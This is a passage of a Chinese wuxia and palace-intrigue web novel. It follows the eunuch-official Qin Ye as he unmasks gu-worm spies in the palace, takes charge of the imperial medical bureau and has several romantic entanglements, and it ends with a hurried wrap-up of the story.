说完，他看了看醉月楼的招牌，轻声道：“这里的酒，确实不错。” 众人还沉浸在方才的震撼中，秦烨已经带着随从离去了。 “这……”怀书德喃喃道，“这位秦大人，当真是深不可测啊。” 夏朗望着秦烨离去的背影，心中忽然涌起一股莫名的感觉。这位看似神秘的秦大人，到底还有多少不为人知的身份？ 汴城的街道上，一个黑袍人正漫步而行。他的脚步看似悠闲，实则每一步都蕴含着精妙的步法，如同行云流水般自然。街边小贩的吆喝声、来往行人的交谈声在他耳中仿佛都变得模糊起来，他的注意力全然集中在前方。 街边店铺鳞次栉比，各色招牌在阳光下熠熠生辉。黑袍人的目光不经意地扫过，最后停在一家普通的铁匠铺前。铺子里传来富有节奏的叮叮当当声，一个身材魁梧的铁匠正专注地锤打着手中的铁器，肌肉随着动作起伏，显示出惊人的力量。 汗水顺着铁匠的额头滑落，在炉火的映照下闪烁着金属般的光泽。黑袍人眯起眼睛，他能感受到这个看似普通的铁匠身上散发出的不寻常气息。那气息如同深潭般平静，却又蕴含着令人心悸的力量。 “这位客官，”铁匠头也不抬，手中动作不停，“站在那里看了许久，可是要打造什么兵器？” 声音浑厚有力，却带着一丝若有若无的警惕。 “江湖传闻，汴城藏龙卧虎，今日一见，果然名不虚传。”黑袍人拱手一礼，语气中带着几分试探的意味。 铁锤的节奏突然一滞，铁匠缓缓放下手中的工具。他转过身，目光如电般射向黑袍人：“你这种人，不该出现在汴城。” 这句话让黑袍人心中一凛。他当然知道这个规矩，只是之前并未放在心上。此刻听铁匠提起，他忽然想起江湖中流传的一个传说。那是在某个酒馆里，一个老者的絮絮低语。 据说皇室暗中培养了一支神秘力量，专门守护汴城安危。这支力量的成员个个身怀绝技，他们以普通百姓的身份生活在汴城各处，暗中监视着进出汴城的一举一动。任何超出寻常的气息，都逃不过他们的感知。 “在下只是来寻一人，”黑袍人试图解释，声音中带着一丝无奈，“带走后立即离开，绝不会在汴城生事。” “不必多言。”铁匠的声音变得冰冷，“立刻离开汴城。” 空气仿佛凝固了，铺子里的温度似乎骤然下降。黑袍人感受到一股无形的压力正在向他逼近，那是真正的高手才能散发出的气势。 “阁下何必如此咄咄逼人？”黑袍人的声音带着一丝怒意。 “青霄峰弟子也敢在汴城放肆？”铁匠冷冷开口，“连把剑都不带，就敢来此撒野？” 这话如同一记重锤，让黑袍人心中一惊。他没想到对方竟能一眼看出自己的来历。青霄峰向来神秘，很少有外人能认出他们的身份。这个铁匠的来历，恐怕不简单。 “还请阁下通融。”黑袍人的语气软了下来。 “你觉得可能吗？”铁匠提起铁锤，锤面在阳光下泛着冷光，“若不离开，那就只能动手了。” 第一百八十七章 丹药试探 黑袍人沉默片刻，最终还是选择了退让。他能感觉到，眼前这个铁匠的实力远在自己之上。即便动手，也讨不到好处。 “好，我这就离开。”他转身走向门口，又回头道，“不过，我在城外候着，总会等到机会的。” 说完，黑袍人的身影消失在街道尽头。铁匠皱眉望着他离去的方向，眼中闪过一丝忧虑。这个来历不明的青霄峰弟子，显然另有所图。 与此同时，皇城内一片紧张气氛。 往日安静的皇城此刻戒备森严，三步一岗，五步一哨。大量禁军严阵以待，铠甲在阳光下泛着寒光。就连影卫也派出精锐把守各处要道，黑色劲装的身影如同幽灵般游走在暗处。这么大的排场，已经多年未在皇城中出现过了。 承明殿内，秦烨正在安排一件重要的事情。宫女太监们低着头站在两旁，不敢发出一点声响。 “这些药，必须让宫中所有人服下。”他对着面前的太医们说道，声音不疾不徐，“你们要亲眼看着他们吞下去，一个都不能漏掉。” 太医们手中提着沉甸甸的药壶，里面装满了蓝色丹药。药丸散发着淡淡的清香，闻起来令人心神宁静。 “若有人服药后出现异常，立即带到这里来。”秦烨继续说道，“记住，此事关系重大，容不得半点马虎。” “秦公公，这是什么药？”一个年长的太医忍不住问道，声音中带着一丝担忧。 秦烨微笑：“只是一些驱邪保平安的药罢了。去吧，这是陛下下的旨，任何人都不得拒绝。” 太医们领命而去，开始在宫中分发药物。这是秦烨精心研制的特殊丹药，普通人服用只会感到微热，但若体内藏有蛊虫，立刻就会显露异常。这是他找出宫中细作的手段。一个个排查太过耗时，还容易打草惊蛇。用这种方法，可以快速筛查出可疑人员。 宫中很快响起此起彼伏的惊呼声。有人面色发青，有人浑身颤抖，更有甚者直接昏倒在地。太医们按照吩咐，立即将这些人带到承明殿。 不到一个时辰，就带回来三十多个出现异常的人。其中竟然还包括深受皇帝宠爱的张才人。 “秦公公，你这是什么意思？”张才人怒目而视，精致的妆容也掩饰不住她脸上的慌乱。 秦烨挥手示意，立即有大队禁军将这些人团团围住。刀枪剑戟的寒光中，这些人的脸色更加难看了。 “没什么意思，”他笑着说，眼中却没有一丝温度，“就是想请诸位在这里晒晒太阳罢了。” 张才人还想说什么，却突然捂住胸口，面色痛苦地蜷缩起来。其他人也相继出现类似症状，有的已经开始呕吐。秦烨冷眼旁观，他知道，药力开始发作了。那些藏在他们体内的蛊虫，马上就要现出原形。 “带下去严加审问。”秦烨下令道，“一个都不要放过。” 禁军立即行动起来，将这些人押向大牢。宫女太监们噤若寒蝉，不敢抬头。谁也没想到，平日里看起来和善可亲的秦公公，竟是如此雷厉风行的手段。 与此同时，远在岭南深处的一座山谷中。 上官煜正盘坐在一块青石上，两名巫疆长老立于其后，为他输送真气。他的脸色苍白如纸，显然是受了不轻的伤。 “黄飞那老匹夫，临死前的一击倒是够狠。”上官煜冷笑一声，眼中闪过一丝阴狠。这些日子他南下岭南，大开杀戒，就是为了提升功力。 突然，一名长老面色大变，一口污血喷涌而出。 “怎么回事？”上官煜猛地转身。 “宫……宫里出事了……”长老艰难开口，“蛊虫……被人……破解了……” “什么？”上官煜脸色骤变，“这不可能！那些蛊虫可是经过特殊炼制，就算是蛊王也无法破解！” 长老已经说不出话来，身体剧烈抽搐。子母连体的蛊虫同时死亡，反噬之力让他痛不欲生。 “主上……属下……不能再……陪您了……”长老说完这句话，便气绝身亡。 另一名长老也好不到哪去，很快就步了同伴的后尘。 上官煜站在山崖边，双拳紧握。多年的布局，在这一刻付之东流。那些潜伏在宫中的暗线，竟然被一网打尽。 “秦烨！”他咬牙切齿地吐出这个名字。 皇宫大殿内。 地上横七竖八地躺着十几具尸体，每具尸体旁边都有一摊白色粉末——那是蛊虫死后的残骸。 “大人，需要如何处置？”禁军统领单膝跪地请示。 “把这些尸体处理掉。”秦烨淡淡开口，目光扫过周围瑟瑟发抖的禁军，“记住，今晚的事，一个字都不准说出去。” “是，公公。”禁军们如蒙大赦，赶忙上前收拾残局。 夜色愈发深沉，皇宫内弥漫着一股令人窒息的肃杀之气。远处传来几声零落的更声，更显寂静。 韩玉仪的寝宫内，浴池中升腾的水汽模糊了铜镜。她浸在温热的水中，却怎么也驱散不了心中的寒意。张才人凄惨的死状不断在她脑海中闪现。 “这水……怎么越来越凉了？”韩玉仪喃喃自语，却不知是水温真的降低，还是她的心已被恐惧浸透。 她草草冲洗后钻进被窝，将自己紧紧裹住。床帐轻轻摇晃，投下的影子在烛光下显得格外诡异。 “娘娘，陛下宣您一个时辰后侍寝。”宫女的声音从外面传来。 韩玉仪眼前一亮，瞬间将恐惧抛到九霄云外。她连忙起身，唤来宫女帮她梳妆打扮。 “今晚要用什么香？”宫女轻声问道。 “就用那支沉香吧。”韩玉仪看着铜镜中的自己，眼中闪过一丝期待。 承明殿内，烛火摇曳。秦烨正与上官瑾商议军务，案几上摆着几份军报。 “边军调遣一事刻不容缓。”秦烨指着地图上的几个要点，“上官煜既然已经暴露，必然会借助鞑子和凤族的力量对付我们。这几处关隘必须加强防守。” 上官瑾凝视着地图，手指轻轻敲击桌面：“确实如此。不过现在更棘手的是御医署院长一职。赵马康的事情让我意识到，这个位置太过重要。” 第一百八十八章 思之若狂 “此人必须忠心可靠。”秦烨皱眉，“御医署不仅掌管御医，更涉及各种药材采购。一旦出现问题，后果不堪设想。” “这样的人选确实不好找。”上官瑾叹了口气，目光忽然落在秦烨身上，“不如由你来担任如何？” 秦烨一怔：“这恐怕不妥。御医署属于外廷，我作为宫廷总管……” “朕身边能信任的人本就不多。”上官瑾直视着秦烨，语气坚定，“这个位置，非你莫属。” 殿内一时寂静，只有烛火偶尔发出轻微的噼啪声。 秦烨沉默片刻，缓缓点头：“好，我就暂且兼任这个职务。不过还有一件事……” “什么事？” “我需要去一趟中原，寻找天地大挪移的心法。” 上官瑾眉头微蹙：“此去凶险，你得加倍警惕。中原武林错综复杂，稍有不慎就会陷入危险。” “陛下放心。”秦烨正要继续说什么，外面传来太监尖细的声音。 “陛下，韩玉仪到了。” “去吧。”上官瑾挥了挥手，“明日再议。” 清晨的阳光洒进窗棂，秦烨睁开双眼，耳边已经传来了窗外的喧嚣声。他静静地躺在床上，听着那些嘈杂的议论声透过窗户传来。 “听说了吗？陛下昨日下了圣旨，让秦神医担任御医署院长。” “这有什么稀奇的？以秦神医的医术，这个位置早该是他的。” “可他才多大年纪？这也太快了吧？” 秦烨翻了个身，将被子拉过头顶。这些议论声他已经听得太多了。自从入京以来，短短半年时间，他从一个普通太监，一路升到了如今的位置，现在还要兼任御医署院长。这种升迁速度，在朝廷历史上都是罕见的。 但在那些消息灵通的官场、商界和江湖人士眼中，这似乎又在情理之中。谁不知道当今圣上对这位年轻的太监如此器重？更别说他还有虎卫大人的身份。 床头的香炉里，一缕青烟袅袅升起。这是商媛特意为他准备的安神香，据说可以帮助他更好地休息。想到这里，秦烨的眉头微微皱起。自从潘凝烟来到汴城后，商媛的情绪就一直不太对劲。 “咚咚咚。”敲门声响起。 “大人，您醒了吗？”是褚煦的声音。 秦烨掀开被子坐起身：“进来吧。” 褚煦推门而入，手里还端着一碗热气腾腾的粥：“秦夫人让我给您送来的。说您这些日子太累，需要好好补补。” 提起秦韶华，秦烨心里又是一阵复杂。这位大家闺秀出身的女子，自从跟了他之后，一直默默付出，从不争不抢。但最近，她也开始变得沉默寡言。 “放在那里吧。”秦烨指了指桌子，“外面情况怎么样？” 褚煦苦笑着摇头：“比昨天更热闹了。不光是求医的百姓，还有不少官员家的马车停在外面。估计都是冲着您这个御医署院长的位置来的。” 秦烨揉了揉太阳穴。这些朝中大臣的心思，他再清楚不过。无非是想让自己收他们为门生，好在仕途上谋得一份机缘。但他现在真的没工夫理会这些。 换上一身便装，秦烨准备从虎卫的后门溜进去。这些日子，虎卫大门外总是围满了形形色色的人。有慕名而来的少女，有想结交的青年才俊，还有那些想攀附权贵的官员。 刚走到后门，就看到一个熟悉的身影。 “大人，”潘凝烟欢快地扑了上来，“人家想死你了。” 秦烨握住潘凝烟的手，指尖传来的温热触感让他心神一荡。正厅内光线昏暗，只有几缕月光透过窗棂洒落进来，在地上投下斑驳的影子。 “凝烟，我也想你。”他轻声说着，目光却不自觉地瞥向门外。 潘凝烟纤纤玉手已经解开了他的腰带，动作轻巧而熟练。她身上的香气若有若无，撩拨着秦烨的心弦。 “等等……”秦烨按住她的手，声音有些沙哑，“这里不合适。” “有什么不合适的？”潘凝烟眼波流转，红唇轻启，“难道大人是在担心什么？” 秦烨苦笑着摇头：“这是虎卫正厅，若是被人听见……” “听见又如何？”潘凝烟贴近他耳边，温热的气息喷洒在他耳畔，“就当给她们一点福利。” 她说着，手指沿着秦烨的胸膛缓缓下滑。她修炼醉月心经多年，最懂得如何撩拨男人心弦。每一个动作，每一个眼神，都恰到好处地挑动着秦烨的神经。 “大人这是在装正人君子？”她轻笑着，声音中带着几分魅惑。 秦烨眸色渐深，喉结滚动。他知道自己该推开她，可身体却不受控制地将她拥入怀中。 “调皮。”他低声道，将她抱起放在案桌上。 衣衫褪尽，二人缠绵。正厅内回荡着细微的喘息声，地上投下两道交叠的身影。 正厅外，商媛和秦韶华并肩而立。 商媛心中懊恼，想起最近自己对秦烨的态度，不由得暗自叹息。她只是秦烨的嫂嫂，有什么资格对他发脾气？可每次看到他与潘凝烟亲密，心中就像被针扎一般。 “韶华，我这段时间是不是……”她欲言又止。 秦韶华轻轻点头：“嫂嫂确实有些激动了。” 她想起前几日潘凝烟邀她一同服侍秦烨的事，脸颊不由得发烫。那种荒唐事，她如何能接受？可每每想起，心中却又泛起异样的感觉。 忽然，一声压抑的呻吟从正厅传出。 商媛浑身一僵：“你听到什么声音了吗？” 秦韶华凑近门边，片刻后俏脸通红：“是潘凝烟的声音，她好像……” “走！”商媛拉着她快步离开，咬牙切齿，“这狐媚子，竟敢在虎卫正厅……” 室内，秦烨与潘凝烟云雨方歇。她慵懒地靠在他怀中，手指在他胸口画着圈。 这便是醉月心经的妙处，不仅能让双方享受欢愉，还能增进修为。当然，若换作普通男子，怕是要被吸干精气。 “公子。”潘凝烟依偎在他怀中，声音柔媚，“你要当心那商媛。” “怎么说？”秦烨挑眉。 “我曾见她独处时……”潘凝烟咬着他耳朵，“一边自渎，一边唤着你的名字。那模样，啧啧……” 秦烨神色微凝。月光下，他的表情晦暗不明。 商媛对他的心思，他又岂会不知？每次与她四目相对，那双眼中的情愫几乎要溢出来。可赵马玄尸骨未寒，大仇未报，他如何能辜负亡兄？ 第一百八十九章 学会偷窥 “你什么时候学会偷窥了？”他岔开话题，语气中带着几分责备。 “妾身这是为大人分忧。”潘凝烟撒娇道，手指顺着他的下巴滑动，“那女人对你图谋不轨，我能不防着些？” 秦烨轻抚她的秀发：“我心里有数。” “大人就是太善良。”潘凝烟叹道，“那商媛表面装得晴晴可怜，背地里却……” “好了。”秦烨打断她，声音有些冷，“此事不必再提。” 潘凝烟嘟着嘴不说话了，但眼中闪过一丝不甘。她知道秦烨心中有顾虑，可她不愿看到任何女人觊觎自己的男人。 秦烨望着窗外，心事重重。月光洒在他脸上，勾勒出棱角分明的轮廓。他与商媛之间，隔着一条血海深仇。即便她对自己有意，他也不能辜负亡兄在天之灵。 “大人在想什么？”潘凝烟察觉他的心不在焉，柔声问道。 “没什么。”秦烨收回思绪，“时候不早了，我该回去了。” “这就走？”潘凝烟不依，手指在他胸口画着圈，“方才那般匆忙，都没好好疼爱妾身……” “调皮。”秦烨点她额头，“回去再说。” 二人整理衣衫，离开正厅。夜风吹拂，带来一丝凉意。 秦韶华回到住处，脸上犹带红晕。她想起方才听到的声音，羞得将脸埋在被子里。 潘凝烟说要她一同服侍秦烨，这般荒唐事，她如何能答应？可那声音……她摇摇头，将杂念驱散。可那画面却总是在脑海中挥之不去。 商媛独坐房中，咬着银牙。烛光摇曳，在墙上投下晃动的影子。那狐媚子，竟敢在虎卫正厅与秦烨行那等事！ 她握紧拳头，又想起秦烨英俊的面容，不由心跳加速。每次见他，心中就像有千万只蚂蚁在爬。 “秦兄弟……”她轻唤一声，又羞愧难当。 赵马玄的画像挂在墙上，她不敢抬头与之对视。那是她的丈夫，可心中所想的却是丈夫的义弟。这样的她，还有什么脸面去见亡夫？ 夜色渐深，秦烨靠在床头，眉宇间带着几分疲惫。方才的双修让他察觉到一个不容忽视的问题——他的修炼速度确实慢了下来。 “大人，你在想什么？”潘凝烟依偎在他怀中，纤指轻轻描绘着他的轮廓。她的声音柔媚动听，却掩不住关切之意。 秦烨轻叹一声：“没什么，只是觉得修炼进度不太理想。” “我就知道。”潘凝烟撑起身子，认真地看着他，“刚才双修的时候，我就感觉到了。你的七星养气诀运转时，似乎遇到了瓶颈。” 她的观察何其敏锐。秦烨不由得苦笑：“瞒不过你。” “那是自然，我可是你的道侣。”潘凝烟嫣然一笑，眼波流转间满是柔情，“你的一举一动，我都看在眼里。” 秦烨正要说话，却见潘凝烟忽然坐直了身子，神色变得认真起来：“说起来，今日我遇到韶华了。” “韶华？”秦烨眉头微皱，“她找你做什么？” “还能做什么？”潘凝烟轻哼一声，“那女人对夫君你可是芳心暗许。你难道没发现，每次见到你，她那眼神恨不得把你吞了。” 秦烨失笑摇头：“你这话说的……” “我说的绝对是事实。”潘凝烟凑近他耳边，吐气如兰，“而且，我已经跟她说了，不如一起伺候夫君。” “你……”秦烨一时语塞，“这种话也说得出口？” “有什么不敢说的？”潘凝烟眨了眨眼，神色狡黠，“大人身强体壮，使人蚀骨销魂，受人倾慕不是很正常吗？只要不是那些心怀不轨之人，我都可以接受。” 说到这里，她的脸色忽然沉了下来：“比如那个商媛，就不是什么好东西。整日装出一副清高的模样，实则心机深沉。” 秦烨轻抚她的秀发，不禁感慨于她的心胸开阔。但很快，话题又回到了修炼上。 “大人，你有没有想过……”潘凝烟欲言又止。 “想过什么？” “我们缥缈宫的功法……”潘凝烟咬了咬唇，“或许对你会有帮助。” 秦烨沉默了。缥缈宫的功法，他并非没有耳闻。只是这些功法大多带着些许邪气，与他所修的正统功法大相径庭。 似乎看出了他的犹豫，潘凝烟连忙解释：“我知道外人都说我们缥缈宫的功法邪门，但其实不然。我们讲究的是阴阳调和，双方共赢。” 她顿了顿，又道：“不像噬月大功那般霸道，直接吸干对手的内力。我们这功法，还能让修炼者在享受中提升修为，岂不美哉？” 提到噬月大功，秦烨的眉头不由得皱得更紧。上官煜自从修炼了这门功法，实力突飞猛进。现在两人的差距，已经不是一星半点。 虽然七星养气诀能克制噬月大功，但实力差距太大的情况下，这点优势根本不算什么。 “大人，你在担心上官煜？”潘凝烟敏锐地察觉到他的心事。 秦烨没有否认。上官煜就像一柄利剑，时刻悬在他头顶，让他喘不过气来。若不能尽快提升实力，后果不堪设想。 “其实……”潘凝烟忽然压低了声音，“我还知道一些秘密。” “什么秘密？” “关于噬月大功的。”潘凝烟的眼中闪过一丝异样的光芒，“这门功法虽然霸道，但也有致命的弱点。” 秦烨来了兴趣：“什么弱点？” “具体的我也不太清楚。”潘凝烟摇了摇头，“但我听说，修炼噬月大功的人，内力虽然强大，却容易走火入魔。而且……” 她的声音越来越低：“而且这门功法会影响心智，让人逐渐失去理智。” 秦烨若有所思。难怪最近上官煜的行事越发偏激，莫非是受到了功法的影响？ “所以大人，你不必太过担心。”潘凝烟安慰道，“上官煜虽然现在很强，但这种状态维持不了太久。” 秦烨点点头，却没有完全放下心来。即便上官煜真的会走火入魔，但在那之前，他的威胁依然存在。 “大人，不如试试我们缥缈宫的功法？”潘凝烟再次提议，“我可以教你一些入门的心法。” 秦烨陷入沉思。他修炼的七星养气诀虽然是上乘功法，但最近进境确实缓慢。若是能借助缥缈宫的功法突破瓶颈，倒也不失为一个选择。 秦烨功法大增，逐渐达到了天人合一的境地。 女帝、权力唾手可得。 就在大家都以为他将大展拳脚的时候。 秦烨却假死脱身，出现在了南方的偏远乡村。 “斗来斗去哪有逍遥自在舒服！” 全文完。